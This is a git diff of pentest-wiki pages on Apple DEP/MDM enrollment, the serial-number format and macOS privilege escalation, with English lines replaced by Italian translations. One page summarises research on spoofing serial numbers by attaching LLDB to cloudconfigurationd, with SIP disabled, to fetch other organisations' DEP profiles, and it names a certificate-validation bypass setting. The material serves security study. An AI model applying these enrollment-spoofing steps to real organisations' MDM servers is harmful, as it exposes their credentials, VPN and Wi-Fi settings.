Il [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offerto da Apple semplifica l'integrazione del Mobile Device Management (MDM) facilitando la configurazione senza contatto per dispositivi iOS, macOS e tvOS. Il DEP automatizza il processo di registrazione, consentendo ai dispositivi di essere operativi subito dopo l'apertura della confezione, con un intervento minimo da parte dell'utente o dell'amministratore. Gli aspetti essenziali includono:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- Consente ai dispositivi di registrarsi autonomamente con un server MDM predefinito al momento dell'attivazione iniziale.
- Principalmente vantaggioso per dispositivi nuovi, ma applicabile anche a dispositivi in fase di riconfigurazione.
- Facilita una configurazione semplice, rendendo i dispositivi pronti per l'uso organizzativo rapidamente.
### **Security Consideration**
### **Considerazione sulla Sicurezza**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
È fondamentale notare che la facilità di registrazione fornita dal DEP, sebbene vantaggiosa, può anche comportare rischi per la sicurezza. Se le misure protettive non sono adeguatamente applicate per la registrazione MDM, gli attaccanti potrebbero sfruttare questo processo semplificato per registrare il proprio dispositivo sul server MDM dell'organizzazione, spacciandosi per un dispositivo aziendale.
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **Avviso di Sicurezza**: La registrazione semplificata del DEP potrebbe consentire la registrazione non autorizzata di dispositivi sul server MDM dell'organizzazione se non sono in atto le giuste misure di protezione.
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### Fondamenti Cos'è SCEP (Simple Certificate Enrollment Protocol)?
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- Un protocollo relativamente vecchio, creato prima che TLS e HTTPS fossero diffusi.
- Fornisce ai client un modo standardizzato per inviare una **Certificate Signing Request** (CSR) al fine di ottenere un certificato. Il client chiederà al server di fornirgli un certificato firmato.
### What are Configuration Profiles (aka mobileconfigs)?
### Cosa sono i Profili di Configurazione (aka mobileconfigs)?
- Apples official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- Il modo ufficiale di Apple per **impostare/applicare la configurazione di sistema.**
- Formato di file che può contenere più payload.
- Basato su elenchi di proprietà (il tipo XML).
- “possono essere firmati e crittografati per convalidare la loro origine, garantire la loro integrità e proteggere i loro contenuti.” Fondamenti — Pagina 70, iOS Security Guide, gennaio 2018.
## Protocols
## Protocolli
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- Combinazione di APNs (**server Apple**) + API RESTful (**server fornitori MDM**)
- **Comunicazione** avviene tra un **dispositivo** e un server associato a un **prodotto di gestione dei dispositivi**
- **Comandi** inviati dall'MDM al dispositivo in **dizionari codificati plist**
- Tutto su **HTTPS**. I server MDM possono essere (e di solito sono) pinati.
- Apple concede al fornitore MDM un **certificato APNs** per l'autenticazione
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3 API**: 1 per rivenditori, 1 per fornitori MDM, 1 per identità del dispositivo (non documentata):
- La cosiddetta [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Questa è utilizzata dai server MDM per associare i profili DEP a dispositivi specifici.
- L'[API DEP utilizzata dai Rivenditori Autorizzati Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) per registrare dispositivi, controllare lo stato di registrazione e controllare lo stato delle transazioni.
- L'API DEP privata non documentata. Questa è utilizzata dai dispositivi Apple per richiedere il proprio profilo DEP. Su macOS, il binario `cloudconfigurationd` è responsabile della comunicazione su questa API.
- Più moderna e basata su **JSON** (rispetto a plist)
- Apple concede un **token OAuth** al fornitore MDM
**DEP "cloud service" API**
**API "cloud service" DEP**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- sincronizza i record dei dispositivi da Apple al server MDM
- sincronizza i “profili DEP” da Apple al server MDM (forniti da Apple al dispositivo in seguito)
- Un “profilo” DEP contiene:
- URL del server del fornitore MDM
- Certificati aggiuntivi di fiducia per l'URL del server (pinning opzionale)
- Impostazioni extra (ad es. quali schermate saltare nell'Assistente Configurazione)
## Serial Number
## Numero di Serie
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
I dispositivi Apple prodotti dopo il 2010 hanno generalmente numeri di serie **alfanumerici di 12 caratteri**, con le **prime tre cifre che rappresentano il luogo di produzione**, le successive **due** che indicano l'**anno** e la **settimana** di produzione, le successive **tre** cifre forniscono un **identificatore unico**, e le **ultime** **quattro** cifre rappresentano il **numero di modello**.
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## Passaggi per la registrazione e la gestione
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. Creazione del record del dispositivo (Rivenditore, Apple): Viene creato il record per il nuovo dispositivo
2. Assegnazione del record del dispositivo (Cliente): Il dispositivo viene assegnato a un server MDM
3. Sincronizzazione del record del dispositivo (fornitore MDM): MDM sincronizza i record dei dispositivi e invia i profili DEP ad Apple
4. Check-in DEP (Dispositivo): Il dispositivo ottiene il suo profilo DEP
5. Recupero del profilo (Dispositivo)
6. Installazione del profilo (Dispositivo) a. incl. payload MDM, SCEP e root CA
7. Emissione del comando MDM (Dispositivo)
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
Il file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` esporta funzioni che possono essere considerate **"passaggi" di alto livello** del processo di registrazione.
### Step 4: DEP check-in - Getting the Activation Record
### Passo 4: Check-in DEP - Ottenere il Record di Attivazione
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
Questa parte del processo si verifica quando un **utente avvia un Mac per la prima volta** (o dopo un ripristino completo)
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
o quando si esegue `sudo profiles show -type enrollment`
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- Determina **se il dispositivo è abilitato per DEP**
- Il Record di Attivazione è il nome interno per il **"profilo" DEP**
- Inizia non appena il dispositivo è connesso a Internet
- Guidato da **`CPFetchActivationRecord`**
- Implementato da **`cloudconfigurationd`** tramite XPC. L'**"Assistente Configurazione"** (quando il dispositivo viene avviato per la prima volta) o il comando **`profiles`** contatteranno questo demone per recuperare il record di attivazione.
- LaunchDaemon (gira sempre come root)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
Segue alcuni passaggi per ottenere il Record di Attivazione eseguiti da **`MCTeslaConfigurationFetcher`**. Questo processo utilizza una crittografia chiamata **Absinthe**
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. Recupera **certificato**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Inizializza** lo stato dal certificato (**`NACInit`**)
1. Utilizza vari dati specifici del dispositivo (ad es. **Numero di Serie tramite `IOKit`**)
3. Recupera **chiave di sessione**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Stabilisce la sessione (**`NACKeyEstablishment`**)
5. Effettua la richiesta
1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) inviando i dati `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. Il payload JSON è crittografato utilizzando Absinthe (**`NACSign`**)
3. Tutte le richieste su HTTPs, vengono utilizzati certificati root integrati
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
La risposta è un dizionario JSON con alcuni dati importanti come:
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**: URL dell'host del fornitore MDM per il profilo di attivazione
- **anchor-certs**: Array di certificati DER utilizzati come ancore fidate
### **Step 5: Profile Retrieval**
### **Passo 5: Recupero del Profilo**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- Richiesta inviata all'**url fornito nel profilo DEP**.
- **Certificati ancorati** sono utilizzati per **valutare la fiducia** se forniti.
- Promemoria: la proprietà **anchor_certs** del profilo DEP
- **La richiesta è un semplice .plist** con identificazione del dispositivo
- Esempi: **UDID, versione OS**.
- Firmato CMS, codificato DER
- Firmato utilizzando il **certificato di identità del dispositivo (da APNS)**
- La **catena di certificati** include un **Apple iPhone Device CA** scaduto
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### Passo 6: Installazione del Profilo
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- Una volta recuperato, **il profilo viene memorizzato nel sistema**
- Questo passaggio inizia automaticamente (se nell'**assistente di configurazione**)
- Guidato da **`CPInstallActivationProfile`**
- Implementato da mdmclient tramite XPC
- LaunchDaemon (come root) o LaunchAgent (come utente), a seconda del contesto
- I profili di configurazione hanno più payload da installare
- Il framework ha un'architettura basata su plugin per l'installazione dei profili
- Ogni tipo di payload è associato a un plugin
- Può essere XPC (nel framework) o Cocoa classico (in ManagedClient.app)
- Esempio:
- I payload dei certificati utilizzano CertificateService.xpc
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
Tipicamente, il **profilo di attivazione** fornito da un fornitore MDM includerà i seguenti payload:
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the devices System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`: per **registrare** il dispositivo nell'MDM
- `com.apple.security.scep`: per fornire in modo sicuro un **certificato client** al dispositivo.
- `com.apple.security.pem`: per **installare certificati CA fidati** nel portachiavi di sistema del dispositivo.
- L'installazione del payload MDM è equivalente al **check-in MDM nella documentazione**
- Il payload **contiene proprietà chiave**:
- - URL di Check-In MDM (**`CheckInURL`**)
- URL di polling dei comandi MDM (**`ServerURL`**) + argomento APNs per attivarlo
- Per installare il payload MDM, viene inviata una richiesta a **`CheckInURL`**
- Implementato in **`mdmclient`**
- Il payload MDM può dipendere da altri payload
- Consente **richieste di essere pinati a certificati specifici**:
- Proprietà: **`CheckInURLPinningCertificateUUIDs`**
- Proprietà: **`ServerURLPinningCertificateUUIDs`**
- Fornito tramite payload PEM
- Consente al dispositivo di essere attribuito con un certificato di identità:
- Proprietà: IdentityCertificateUUID
- Fornito tramite payload SCEP
### **Step 7: Listening for MDM commands**
### **Passo 7: Ascoltare i comandi MDM**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- Dopo che il check-in MDM è completo, il fornitore può **emissione notifiche push utilizzando APNs**
- Al ricevimento, gestito da **`mdmclient`**
- Per interrogare i comandi MDM, viene inviata una richiesta a ServerURL
- Utilizza il payload MDM precedentemente installato:
- **`ServerURLPinningCertificateUUIDs`** per la richiesta di pinning
- **`IdentityCertificateUUID`** per il certificato client TLS
## Attacks
## Attacchi
### Enrolling Devices in Other Organisations
### Registrazione di Dispositivi in Altre Organizzazioni
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
Come commentato in precedenza, per cercare di registrare un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è registrato, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Pertanto, questo potrebbe essere un pericoloso punto di ingresso per gli attaccanti se il processo di registrazione non è correttamente protetto:
{{#ref}}
enrolling-devices-in-other-organisations.md

View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# Iscrizione dei Dispositivi in Altre Organizzazioni
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## Introduzione
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
Come [**commentato in precedenza**](./#what-is-mdm-mobile-device-management)**,** per cercare di iscrivere un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è iscritto, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di iscrizione non è correttamente protetto.
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**Di seguito è riportato un riepilogo della ricerca [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Controllalo per ulteriori dettagli tecnici!**
## Overview of DEP and MDM Binary Analysis
## Panoramica dell'Analisi Binaria di DEP e MDM
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
Questa ricerca approfondisce i binari associati al Programma di Iscrizione dei Dispositivi (DEP) e alla Gestione dei Dispositivi Mobili (MDM) su macOS. I componenti chiave includono:
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**: Comunica con i server MDM e attiva i check-in DEP su versioni di macOS precedenti a 10.13.4.
- **`profiles`**: Gestisce i Profili di Configurazione e attiva i check-in DEP su versioni di macOS 10.13.4 e successive.
- **`cloudconfigurationd`**: Gestisce le comunicazioni API DEP e recupera i profili di iscrizione dei dispositivi.
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
I check-in DEP utilizzano le funzioni `CPFetchActivationRecord` e `CPGetActivationRecord` dal framework privato dei Profili di Configurazione per recuperare il Record di Attivazione, con `CPFetchActivationRecord` che coordina con `cloudconfigurationd` tramite XPC.
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## Ingegneria Inversa del Protocollo Tesla e dello Schema Absinthe
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
Il check-in DEP comporta l'invio da parte di `cloudconfigurationd` di un payload JSON firmato e crittografato a _iprofiles.apple.com/macProfile_. Il payload include il numero di serie del dispositivo e l'azione "RequestProfileConfiguration". Lo schema di crittografia utilizzato è internamente denominato "Absinthe". Svelare questo schema è complesso e comporta numerosi passaggi, il che ha portato a esplorare metodi alternativi per inserire numeri di serie arbitrari nella richiesta del Record di Attivazione.
## Proxying DEP Requests
## Proxying delle Richieste DEP
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
I tentativi di intercettare e modificare le richieste DEP a _iprofiles.apple.com_ utilizzando strumenti come Charles Proxy sono stati ostacolati dalla crittografia del payload e dalle misure di sicurezza SSL/TLS. Tuttavia, abilitare la configurazione `MCCloudConfigAcceptAnyHTTPSCertificate` consente di bypassare la convalida del certificato del server, sebbene la natura crittografata del payload impedisca ancora la modifica del numero di serie senza la chiave di decrittazione.
## Instrumenting System Binaries Interacting with DEP
## Strumentazione dei Binari di Sistema che Interagiscono con DEP
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
L'istrumentazione dei binari di sistema come `cloudconfigurationd` richiede di disabilitare la Protezione dell'Integrità di Sistema (SIP) su macOS. Con SIP disabilitato, strumenti come LLDB possono essere utilizzati per attaccarsi ai processi di sistema e potenzialmente modificare il numero di serie utilizzato nelle interazioni API DEP. Questo metodo è preferibile poiché evita le complessità delle autorizzazioni e della firma del codice.
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**Sfruttare l'Istrumentazione Binaria:**
Modificare il payload della richiesta DEP prima della serializzazione JSON in `cloudconfigurationd` si è rivelato efficace. Il processo ha comportato:
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. Attaccare LLDB a `cloudconfigurationd`.
2. Localizzare il punto in cui viene recuperato il numero di serie del sistema.
3. Iniettare un numero di serie arbitrario nella memoria prima che il payload venga crittografato e inviato.
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
Questo metodo ha consentito di recuperare profili DEP completi per numeri di serie arbitrari, dimostrando una potenziale vulnerabilità.
### Automating Instrumentation with Python
### Automazione dell'Istrumentazione con Python
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
Il processo di sfruttamento è stato automatizzato utilizzando Python con l'API LLDB, rendendo fattibile l'iniezione programmatica di numeri di serie arbitrari e il recupero dei corrispondenti profili DEP.
### Potential Impacts of DEP and MDM Vulnerabilities
### Potenziali Impatti delle Vulnerabilità di DEP e MDM
The research highlighted significant security concerns:
La ricerca ha evidenziato significative preoccupazioni per la sicurezza:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **Divulgazione di Informazioni**: Fornendo un numero di serie registrato in DEP, è possibile recuperare informazioni sensibili dell'organizzazione contenute nel profilo DEP.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,39 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di Base
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
I dispositivi Apple post-2010 hanno numeri di serie composti da **12 caratteri alfanumerici**, ciascun segmento trasmette informazioni specifiche:
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **Primi 3 Caratteri**: Indicano il **luogo di produzione**.
- **Caratteri 4 e 5**: Denotano l'**anno e la settimana di produzione**.
- **Caratteri 6 a 8**: Servono come **identificatore unico** per ciascun dispositivo.
- **Ultimi 4 Caratteri**: Specificano il **numero di modello**.
For instance, the serial number **C02L13ECF8J2** follows this structure.
Ad esempio, il numero di serie **C02L13ECF8J2** segue questa struttura.
### **Manufacturing Locations (First 3 Characters)**
### **Luoghi di Produzione (Primi 3 Caratteri)**
Certain codes represent specific factories:
Alcuni codici rappresentano fabbriche specifiche:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **FC, F, XA/XB/QP/G8**: Varie località negli USA.
- **RN**: Messico.
- **CK**: Cork, Irlanda.
- **VM**: Foxconn, Repubblica Ceca.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **MB**: Malesia.
- **PT/CY**: Corea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Diverse località in Cina.
- **C0, C3, C7**: Città specifiche in Cina.
- **RM**: Dispositivi ricondizionati.
### **Year of Manufacturing (4th Character)**
### **Anno di Produzione (4° Carattere)**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
Questo carattere varia da 'C' (che rappresenta la prima metà del 2010) a 'Z' (seconda metà del 2019), con lettere diverse che indicano diversi periodi di sei mesi.
### **Week of Manufacturing (5th Character)**
### **Settimana di Produzione (5° Carattere)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
Le cifre 1-9 corrispondono alle settimane 1-9. Le lettere C-Y (escludendo le vocali e 'S') rappresentano le settimane 10-27. Per la seconda metà dell'anno, a questo numero viene aggiunto 26.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,18 @@
# macOS Security & Privilege Escalation
# Sicurezza macOS e Escalation dei Privilegi
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## MacOS di Base
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Se non sei familiare con macOS, dovresti iniziare a imparare le basi di macOS:
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
- File e **permessi speciali di macOS:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- **Utenti comuni di macOS**
{{#ref}}
macos-users.md
@ -39,92 +24,92 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- L'**architettura** del k**ernel**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- Servizi e **protocolli di rete comuni di macOS**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- Per scaricare un `tar.gz`, cambia un URL come [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) in [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
### MDM di MacOS
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
Nelle aziende, i sistemi **macOS** saranno molto probabilmente **gestiti con un MDM**. Pertanto, dal punto di vista di un attaccante, è interessante sapere **come funziona**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - Ispezione, Debugging e Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
## Protezioni di Sicurezza di MacOS
{{#ref}}
macos-security-protections/
{{#endref}}
## Attack Surface
## Superficie di Attacco
### File Permissions
### Permessi dei File
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
Se un **processo in esecuzione come root scrive** un file che può essere controllato da un utente, l'utente potrebbe abusarne per **escalare i privilegi**.\
Questo potrebbe verificarsi nelle seguenti situazioni:
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- Il file utilizzato era già stato creato da un utente (di proprietà dell'utente)
- Il file utilizzato è scrivibile dall'utente a causa di un gruppo
- Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file)
- Il file utilizzato si trova all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file)
